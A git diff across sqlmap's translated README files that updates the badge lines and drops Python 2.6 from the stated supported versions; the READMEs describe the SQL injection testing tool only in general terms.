diff --git a/doc/translations/README-de-DE.md b/doc/translations/README-de-DE.md
index 379a0575c..65d96220e 100644
--- a/doc/translations/README-de-DE.md
+++ b/doc/translations/README-de-DE.md
@@ -1,6 +1,6 @@
# sqlmap 
-[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
+[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
sqlmap ist ein quelloffenes Penetrationstest Werkzeug, das die Entdeckung, Ausnutzung und Übernahme von SQL injection Schwachstellen automatisiert. Es kommt mit einer mächtigen Erkennungs-Engine, vielen Nischenfunktionen für den ultimativen Penetrationstester und einem breiten Spektrum an Funktionen von Datenbankerkennung, abrufen von Daten aus der Datenbank, zugreifen auf das unterliegende Dateisystem bis hin zur Befehlsausführung auf dem Betriebssystem mit Hilfe von out-of-band Verbindungen.
diff --git a/doc/translations/README-es-MX.md b/doc/translations/README-es-MX.md
index 4432ae858..f85f4862f 100644
--- a/doc/translations/README-es-MX.md
+++ b/doc/translations/README-es-MX.md
@@ -1,6 +1,6 @@
# sqlmap 
-[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
+[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
sqlmap es una herramienta para pruebas de penetración "penetration testing" de software libre que automatiza el proceso de detección y explotación de fallos mediante inyección de SQL además de tomar el control de servidores de bases de datos. Contiene un poderoso motor de detección, así como muchas de las funcionalidades escenciales para el "pentester" y una amplia gama de opciones desde la recopilación de información para identificar el objetivo conocido como "fingerprinting" mediante la extracción de información de la base de datos, hasta el acceso al sistema de archivos subyacente para ejecutar comandos en el sistema operativo a través de conexiones alternativas conocidas como "Out-of-band".
@@ -19,7 +19,7 @@ Preferentemente, se puede descargar sqlmap clonando el repositorio [Git](https:/
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
-sqlmap funciona con las siguientes versiones de [Python](https://www.python.org/download/) **2.6**, **2.7** y **3.x** en cualquier plataforma.
+sqlmap funciona con las siguientes versiones de [Python](https://www.python.org/download/) **2.7** y **3.x** en cualquier plataforma.
Uso
---
diff --git a/doc/translations/README-fa-IR.md b/doc/translations/README-fa-IR.md
index e3d9daf60..eb84e4109 100644
--- a/doc/translations/README-fa-IR.md
+++ b/doc/translations/README-fa-IR.md
@@ -1,6 +1,6 @@
# sqlmap 
-[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
+[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
diff --git a/doc/translations/README-fr-FR.md b/doc/translations/README-fr-FR.md
index 964f7e104..4d867898b 100644
--- a/doc/translations/README-fr-FR.md
+++ b/doc/translations/README-fr-FR.md
@@ -1,6 +1,6 @@
# sqlmap 
-[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
+[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
**sqlmap** est un outil Open Source de test d'intrusion. Cet outil permet d'automatiser le processus de détection et d'exploitation des failles d'injection SQL afin de prendre le contrôle des serveurs de base de données. __sqlmap__ dispose d'un puissant moteur de détection utilisant les techniques les plus récentes et les plus dévastatrices de tests d'intrusion comme L'Injection SQL, qui permet d'accéder à la base de données, au système de fichiers sous-jacent et permet aussi l'exécution des commandes sur le système d'exploitation.
@@ -19,7 +19,7 @@ De préférence, télécharger __sqlmap__ en le [clonant](https://github.com/sql
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
-sqlmap fonctionne sur n'importe quel système d'exploitation avec la version **2.6**, **2.7** et **3.x** de [Python](https://www.python.org/download/)
+sqlmap fonctionne sur n'importe quel système d'exploitation avec la version **2.7** et **3.x** de [Python](https://www.python.org/download/)
Utilisation
----
diff --git a/doc/translations/README-gr-GR.md b/doc/translations/README-gr-GR.md
index ede6340d1..0d5e04465 100644
--- a/doc/translations/README-gr-GR.md
+++ b/doc/translations/README-gr-GR.md
@@ -1,6 +1,6 @@
# sqlmap 
-[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
+[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
Το sqlmap είναι πρόγραμμα ανοιχτού κώδικα, που αυτοματοποιεί την εύρεση και εκμετάλλευση ευπαθειών τύπου SQL Injection σε βάσεις δεδομένων. Έρχεται με μια δυνατή μηχανή αναγνώρισης ευπαθειών, πολλά εξειδικευμένα χαρακτηριστικά για τον απόλυτο penetration tester όπως και με ένα μεγάλο εύρος επιλογών αρχίζοντας από την αναγνώριση της βάσης δεδομένων, κατέβασμα δεδομένων της βάσης, μέχρι και πρόσβαση στο βαθύτερο σύστημα αρχείων και εκτέλεση εντολών στο απευθείας στο λειτουργικό μέσω εκτός ζώνης συνδέσεων.
@@ -20,7 +20,7 @@
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
-Το sqlmap λειτουργεί χωρίς περαιτέρω κόπο με την [Python](https://www.python.org/download/) έκδοσης **2.6**, **2.7** και **3.x** σε όποια πλατφόρμα.
+Το sqlmap λειτουργεί χωρίς περαιτέρω κόπο με την [Python](https://www.python.org/download/) έκδοσης **2.7** και **3.x** σε όποια πλατφόρμα.
Χρήση
----
diff --git a/doc/translations/README-hr-HR.md b/doc/translations/README-hr-HR.md
index dffab7062..45d5eaad1 100644
--- a/doc/translations/README-hr-HR.md
+++ b/doc/translations/README-hr-HR.md
@@ -1,6 +1,6 @@
# sqlmap 
-[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
+[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
sqlmap je alat namijenjen za penetracijsko testiranje koji automatizira proces detekcije i eksploatacije sigurnosnih propusta SQL injekcije te preuzimanje poslužitelja baze podataka. Dolazi s moćnim mehanizmom za detekciju, mnoštvom korisnih opcija za napredno penetracijsko testiranje te široki spektar opcija od onih za prepoznavanja baze podataka, preko dohvaćanja podataka iz baze, do pristupa zahvaćenom datotečnom sustavu i izvršavanja komandi na operacijskom sustavu korištenjem tzv. "out-of-band" veza.
@@ -20,7 +20,7 @@ Po mogućnosti, možete preuzeti sqlmap kloniranjem [Git](https://github.com/sql
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
-sqlmap radi bez posebnih zahtjeva korištenjem [Python](https://www.python.org/download/) verzije **2.6**, **2.7** i/ili **3.x** na bilo kojoj platformi.
+sqlmap radi bez posebnih zahtjeva korištenjem [Python](https://www.python.org/download/) verzije **2.7** i/ili **3.x** na bilo kojoj platformi.
Korištenje
----
diff --git a/doc/translations/README-id-ID.md b/doc/translations/README-id-ID.md
index 39ad3e58f..f82bf71d2 100644
--- a/doc/translations/README-id-ID.md
+++ b/doc/translations/README-id-ID.md
@@ -1,6 +1,6 @@
# sqlmap 
-[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
+[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
sqlmap adalah perangkat lunak sumber terbuka yang digunakan untuk melakukan uji penetrasi, mengotomasi proses deteksi, eksploitasi kelemahan _SQL injection_ serta pengambil-alihan server basis data.
@@ -22,7 +22,7 @@ Sebagai alternatif, Anda dapat mengunduh sqlmap dengan melakukan _clone_ pada re
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
-sqlmap berfungsi langsung pada [Python](https://www.python.org/download/) versi **2.6**, **2.7** dan **3.x** pada platform apapun.
+sqlmap berfungsi langsung pada [Python](https://www.python.org/download/) versi **2.7** dan **3.x** pada platform apapun.
Penggunaan
----
diff --git a/doc/translations/README-in-HI.md b/doc/translations/README-in-HI.md
index c2d323bcc..b311f81af 100644
--- a/doc/translations/README-in-HI.md
+++ b/doc/translations/README-in-HI.md
@@ -1,6 +1,6 @@
# sqlmap 
-[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
+[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
sqlmap एक ओपन सोर्स प्रवेश परीक्षण उपकरण है जो SQL इन्जेक्शन दोषों की पहचान और उपयोग की प्रक्रिया को स्वचलित करता है और डेटाबेस सर्वरों को अधिकृत कर लेता है। इसके साथ एक शक्तिशाली पहचान इंजन, अंतिम प्रवेश परीक्षक के लिए कई निचले विशेषताएँ और डेटाबेस प्रिंट करने, डेटाबेस से डेटा निकालने, नीचे के फ़ाइल सिस्टम तक पहुँचने और आउट-ऑफ-बैंड कनेक्शन के माध्यम से ऑपरेटिंग सिस्टम पर कमांड चलाने के लिए कई बड़े रेंज के स्विच शामिल हैं।
@@ -20,7 +20,7 @@ sqlmap एक ओपन सोर्स प्रवेश परीक्षण
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
-sqlmap [Python](https://www.python.org/download/) संस्करण **2.6**, **2.7** और **3.x** पर किसी भी प्लेटफार्म पर तुरंत काम करता है।
+sqlmap [Python](https://www.python.org/download/) संस्करण **2.7** और **3.x** पर किसी भी प्लेटफार्म पर तुरंत काम करता है।
उपयोग
----
diff --git a/doc/translations/README-it-IT.md b/doc/translations/README-it-IT.md
index af10ee150..6b074141b 100644
--- a/doc/translations/README-it-IT.md
+++ b/doc/translations/README-it-IT.md
@@ -1,6 +1,6 @@
# sqlmap 
-[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
+[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
sqlmap è uno strumento open source per il penetration testing. Il suo scopo è quello di rendere automatico il processo di scoperta ed exploit di vulnerabilità di tipo SQL injection al fine di compromettere database online. Dispone di un potente motore per la ricerca di vulnerabilità, molti strumenti di nicchia anche per il più esperto penetration tester ed un'ampia gamma di controlli che vanno dal fingerprinting di database allo scaricamento di dati, fino all'accesso al file system sottostante e l'esecuzione di comandi nel sistema operativo attraverso connessioni out-of-band.
@@ -20,7 +20,7 @@ La cosa migliore sarebbe però scaricare sqlmap clonando la repository [Git](htt
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
-sqlmap è in grado di funzionare con le versioni **2.6**, **2.7** e **3.x** di [Python](https://www.python.org/download/) su ogni piattaforma.
+sqlmap è in grado di funzionare con le versioni **2.7** e **3.x** di [Python](https://www.python.org/download/) su ogni piattaforma.
Utilizzo
----
diff --git a/doc/translations/README-ja-JP.md b/doc/translations/README-ja-JP.md
index 3cbc9ce99..d43e3f563 100644
--- a/doc/translations/README-ja-JP.md
+++ b/doc/translations/README-ja-JP.md
@@ -1,6 +1,6 @@
# sqlmap 
-[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
+[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
sqlmapはオープンソースのペネトレーションテスティングツールです。SQLインジェクションの脆弱性の検出、活用、そしてデータベースサーバ奪取のプロセスを自動化します。
強力な検出エンジン、ペネトレーションテスターのための多くのニッチ機能、持続的なデータベースのフィンガープリンティングから、データベースのデータ取得やアウトオブバンド接続を介したオペレーティング・システム上でのコマンド実行、ファイルシステムへのアクセスなどの広範囲に及ぶスイッチを提供します。
@@ -21,7 +21,7 @@ wikiに載っているいくつかの機能のデモをスクリーンショッ
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
-sqlmapは、 [Python](https://www.python.org/download/) バージョン **2.6**, **2.7** または **3.x** がインストールされていれば、全てのプラットフォームですぐに使用できます。
+sqlmapは、 [Python](https://www.python.org/download/) バージョン **2.7** または **3.x** がインストールされていれば、全てのプラットフォームですぐに使用できます。
使用方法
----
diff --git a/doc/translations/README-ka-GE.md b/doc/translations/README-ka-GE.md
index 9eb193d1d..12b59b31e 100644
--- a/doc/translations/README-ka-GE.md
+++ b/doc/translations/README-ka-GE.md
@@ -1,6 +1,6 @@
# sqlmap 
-[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
+[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
sqlmap არის შეღწევადობის ტესტირებისათვის განკუთვილი ინსტრუმენტი, რომლის კოდიც ღიად არის ხელმისაწვდომი. ინსტრუმენტი ახდენს SQL-ინექციის სისუსტეების აღმოჩენისა, გამოყენების და მონაცემთა ბაზათა სერვერების დაუფლების პროცესების ავტომატიზაციას. იგი აღჭურვილია მძლავრი აღმომჩენი მექანიძმით, შეღწევადობის პროფესიონალი ტესტერისათვის შესაფერისი ბევრი ფუნქციით და სკრიპტების ფართო სპექტრით, რომლებიც შეიძლება გამოყენებულ იქნეს მრავალი მიზნით, მათ შორის: მონაცემთა ბაზიდან მონაცემების შეგროვებისათვის, ძირითად საფაილო სისტემაზე წვდომისათვის და out-of-band კავშირების გზით ოპერაციულ სისტემაში ბრძანებათა შესრულებისათვის.
@@ -20,7 +20,7 @@ sqlmap არის შეღწევადობის ტესტირე
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
-sqlmap ნებისმიერ პლატფორმაზე მუშაობს [Python](https://www.python.org/download/)-ის **2.6**, **2.7** და **3.x** ვერსიებთან.
+sqlmap ნებისმიერ პლატფორმაზე მუშაობს [Python](https://www.python.org/download/)-ის **2.7** და **3.x** ვერსიებთან.
გამოყენება
----
diff --git a/doc/translations/README-ko-KR.md b/doc/translations/README-ko-KR.md
index dd508732d..254220983 100644
--- a/doc/translations/README-ko-KR.md
+++ b/doc/translations/README-ko-KR.md
@@ -1,6 +1,6 @@
# sqlmap 
-[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
+[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
sqlmap은 SQL 인젝션 결함 탐지 및 활용, 데이터베이스 서버 장악 프로세스를 자동화 하는 오픈소스 침투 테스팅 도구입니다. 최고의 침투 테스터, 데이터베이스 핑거프린팅 부터 데이터베이스 데이터 읽기, 대역 외 연결을 통한 기반 파일 시스템 접근 및 명령어 실행에 걸치는 광범위한 스위치들을 위한 강력한 탐지 엔진과 다수의 편리한 기능이 탑재되어 있습니다.
@@ -20,7 +20,7 @@ sqlmap은 SQL 인젝션 결함 탐지 및 활용, 데이터베이스 서버 장
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
-sqlmap은 [Python](https://www.python.org/download/) 버전 **2.6**, **2.7** 그리고 **3.x** 을 통해 모든 플랫폼 위에서 사용 가능합니다.
+sqlmap은 [Python](https://www.python.org/download/) 버전 **2.7** 그리고 **3.x** 을 통해 모든 플랫폼 위에서 사용 가능합니다.
사용법
----
diff --git a/doc/translations/README-nl-NL.md b/doc/translations/README-nl-NL.md
index 03c4dff3e..f11416841 100644
--- a/doc/translations/README-nl-NL.md
+++ b/doc/translations/README-nl-NL.md
@@ -1,6 +1,6 @@
# sqlmap 
-[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
+[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
sqlmap is een open source penetratie test tool dat het proces automatiseert van het detecteren en exploiteren van SQL injectie fouten en het overnemen van database servers. Het wordt geleverd met een krachtige detectie-engine, vele niche-functies voor de ultieme penetratietester, en een breed scala aan switches, waaronder database fingerprinting, het overhalen van gegevens uit de database, toegang tot het onderliggende bestandssysteem, en het uitvoeren van commando's op het besturingssysteem via out-of-band verbindingen.
@@ -20,7 +20,7 @@ Bij voorkeur, kun je sqlmap downloaden door de [Git](https://github.com/sqlmappr
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
-sqlmap werkt op alle platformen met de volgende [Python](https://www.python.org/download/) versies: **2.6**, **2.7** en **3.x**.
+sqlmap werkt op alle platformen met de volgende [Python](https://www.python.org/download/) versies: **2.7** en **3.x**.
Gebruik
----
diff --git a/doc/translations/README-pl-PL.md b/doc/translations/README-pl-PL.md
index 00fdf7b43..e7b145e96 100644
--- a/doc/translations/README-pl-PL.md
+++ b/doc/translations/README-pl-PL.md
@@ -1,6 +1,6 @@
# sqlmap 
-[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
+[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
sqlmap to open sourceowe narzędzie do testów penetracyjnych, które automatyzuje procesy detekcji, przejmowania i testowania odporności serwerów SQL na podatność na iniekcję niechcianego kodu. Zawiera potężny mechanizm detekcji, wiele niszowych funkcji dla zaawansowanych testów penetracyjnych oraz szeroki wachlarz opcji począwszy od identyfikacji bazy danych, poprzez wydobywanie z niej danych, a nawet pozwalających na dostęp do systemu plików oraz wykonywanie poleceń w systemie operacyjnym serwera poprzez niestandardowe połączenia.
@@ -20,7 +20,7 @@ Można również pobrać sqlmap klonując rezozytorium [Git](https://github.com/
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
-do użycia sqlmap potrzebny jest [Python](https://www.python.org/download/) w wersji **2.6**, **2.7** lub **3.x** na dowolnej platformie systemowej.
+do użycia sqlmap potrzebny jest [Python](https://www.python.org/download/) w wersji **2.7** lub **3.x** na dowolnej platformie systemowej.
Sposób użycia
----
diff --git a/doc/translations/README-pt-BR.md b/doc/translations/README-pt-BR.md
index 6fe64ed6a..9f5ebfd99 100644
--- a/doc/translations/README-pt-BR.md
+++ b/doc/translations/README-pt-BR.md
@@ -1,6 +1,6 @@
# sqlmap 
-[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
+[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
sqlmap é uma ferramenta de teste de intrusão, de código aberto, que automatiza o processo de detecção e exploração de falhas de injeção SQL. Com essa ferramenta é possível assumir total controle de servidores de banco de dados em páginas web vulneráveis, inclusive de base de dados fora do sistema invadido. Ele possui um motor de detecção poderoso, empregando as últimas e mais devastadoras técnicas de teste de intrusão por SQL Injection, que permite acessar a base de dados, o sistema de arquivos subjacente e executar comandos no sistema operacional.
@@ -20,7 +20,7 @@ De preferência, você pode baixar o sqlmap clonando o repositório [Git](https:
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
-sqlmap funciona em [Python](https://www.python.org/download/) nas versões **2.6**, **2.7** e **3.x** em todas as plataformas.
+sqlmap funciona em [Python](https://www.python.org/download/) nas versões **2.7** e **3.x** em todas as plataformas.
Como usar
----
diff --git a/doc/translations/README-rs-RS.md b/doc/translations/README-rs-RS.md
index de0fb2e2f..e130727fe 100644
--- a/doc/translations/README-rs-RS.md
+++ b/doc/translations/README-rs-RS.md
@@ -1,6 +1,6 @@
# sqlmap 
-[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
+[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
sqlmap je alat otvorenog koda namenjen za penetraciono testiranje koji automatizuje proces detekcije i eksploatacije sigurnosnih propusta SQL injekcije i preuzimanje baza podataka. Dolazi s moćnim mehanizmom za detekciju, mnoštvom korisnih opcija za napredno penetracijsko testiranje te široki spektar opcija od onih za prepoznavanja baze podataka, preko uzimanja podataka iz baze, do pristupa zahvaćenom fajl sistemu i izvršavanja komandi na operativnom sistemu korištenjem tzv. "out-of-band" veza.
@@ -20,7 +20,7 @@ Opciono, možete preuzeti sqlmap kloniranjem [Git](https://github.com/sqlmapproj
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
-sqlmap radi bez posebnih zahteva korištenjem [Python](https://www.python.org/download/) verzije **2.6**, **2.7** i/ili **3.x** na bilo kojoj platformi.
+sqlmap radi bez posebnih zahteva korištenjem [Python](https://www.python.org/download/) verzije **2.7** i/ili **3.x** na bilo kojoj platformi.
Korišćenje
----
diff --git a/doc/translations/README-ru-RU.md b/doc/translations/README-ru-RU.md
index c88f532e6..381472225 100644
--- a/doc/translations/README-ru-RU.md
+++ b/doc/translations/README-ru-RU.md
@@ -1,6 +1,6 @@
# sqlmap 
-[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
+[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
sqlmap - это инструмент для тестирования уязвимостей с открытым исходным кодом, который автоматизирует процесс обнаружения и использования ошибок SQL-инъекций и захвата серверов баз данных. Он оснащен мощным механизмом обнаружения, множеством приятных функций для профессионального тестера уязвимостей и широким спектром скриптов, которые упрощают работу с базами данных, от сбора данных из базы данных, до доступа к базовой файловой системе и выполнения команд в операционной системе через out-of-band соединение.
@@ -20,7 +20,7 @@ sqlmap - это инструмент для тестирования уязви
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
-sqlmap работает из коробки с [Python](https://www.python.org/download/) версии **2.6**, **2.7** и **3.x** на любой платформе.
+sqlmap работает из коробки с [Python](https://www.python.org/download/) версии **2.7** и **3.x** на любой платформе.
Использование
----
diff --git a/doc/translations/README-sk-SK.md b/doc/translations/README-sk-SK.md
index 0f32c0c4d..d673b3e3a 100644
--- a/doc/translations/README-sk-SK.md
+++ b/doc/translations/README-sk-SK.md
@@ -1,6 +1,6 @@
# sqlmap 
-[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
+[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
sqlmap je open source nástroj na penetračné testovanie, ktorý automatizuje proces detekovania a využívania chýb SQL injekcie a preberania databázových serverov. Je vybavený výkonným detekčným mechanizmom, mnohými výklenkovými funkciami pre dokonalého penetračného testera a širokou škálou prepínačov vrátane odtlačkov databázy, cez načítanie údajov z databázy, prístup k základnému súborovému systému a vykonávanie príkazov v operačnom systéme prostredníctvom mimopásmových pripojení.
@@ -20,7 +20,7 @@ Najlepšie je stiahnuť sqlmap naklonovaním [Git](https://github.com/sqlmapproj
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
-sqlmap funguje bez problémov s programovacím jazykom [Python](https://www.python.org/download/) vo verziách **2.6**, **2.7** a **3.x** na akejkoľvek platforme.
+sqlmap funguje bez problémov s programovacím jazykom [Python](https://www.python.org/download/) vo verziách **2.7** a **3.x** na akejkoľvek platforme.
Využitie
----
diff --git a/doc/translations/README-tr-TR.md b/doc/translations/README-tr-TR.md
index 320d81b12..46e5267e9 100644
--- a/doc/translations/README-tr-TR.md
+++ b/doc/translations/README-tr-TR.md
@@ -1,6 +1,6 @@
# sqlmap 
-[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
+[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
sqlmap sql injection açıklarını otomatik olarak tespit ve istismar etmeye yarayan açık kaynak bir penetrasyon aracıdır. sqlmap gelişmiş tespit özelliğinin yanı sıra penetrasyon testleri sırasında gerekli olabilecek birçok aracı, uzak veritabanından, veri indirmek, dosya sistemine erişmek, dosya çalıştırmak gibi işlevleri de barındırmaktadır.
@@ -23,7 +23,7 @@ Veya tercihen, [Git](https://github.com/sqlmapproject/sqlmap) reposunu klonlayar
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
-sqlmap [Python](https://www.python.org/download/) sitesinde bulunan **2.6**, **2.7** ve **3.x** versiyonları ile bütün platformlarda çalışabilmektedir.
+sqlmap [Python](https://www.python.org/download/) sitesinde bulunan **2.7** ve **3.x** versiyonları ile bütün platformlarda çalışabilmektedir.
Kullanım
----
diff --git a/doc/translations/README-uk-UA.md b/doc/translations/README-uk-UA.md
index 26e96f7d6..ab7814676 100644
--- a/doc/translations/README-uk-UA.md
+++ b/doc/translations/README-uk-UA.md
@@ -1,6 +1,6 @@
# sqlmap 
-[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
+[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
sqlmap - це інструмент для тестування вразливостей з відкритим сирцевим кодом, який автоматизує процес виявлення і використання дефектів SQL-ін'єкцій, а також захоплення серверів баз даних. Він оснащений потужним механізмом виявлення, безліччю приємних функцій для професійного тестувальника вразливостей і широким спектром скриптів, які спрощують роботу з базами даних - від відбитка бази даних до доступу до базової файлової системи та виконання команд в операційній системі через out-of-band з'єднання.
@@ -20,7 +20,7 @@ sqlmap - це інструмент для тестування вразливо
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
-sqlmap «працює з коробки» з [Python](https://www.python.org/download/) версії **2.6**, **2.7** та **3.x** на будь-якій платформі.
+sqlmap «працює з коробки» з [Python](https://www.python.org/download/) версії **2.7** та **3.x** на будь-якій платформі.
Використання
----
diff --git a/doc/translations/README-vi-VN.md b/doc/translations/README-vi-VN.md
index 45cbd33c6..ceb272455 100644
--- a/doc/translations/README-vi-VN.md
+++ b/doc/translations/README-vi-VN.md
@@ -1,6 +1,6 @@
# sqlmap 
-[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
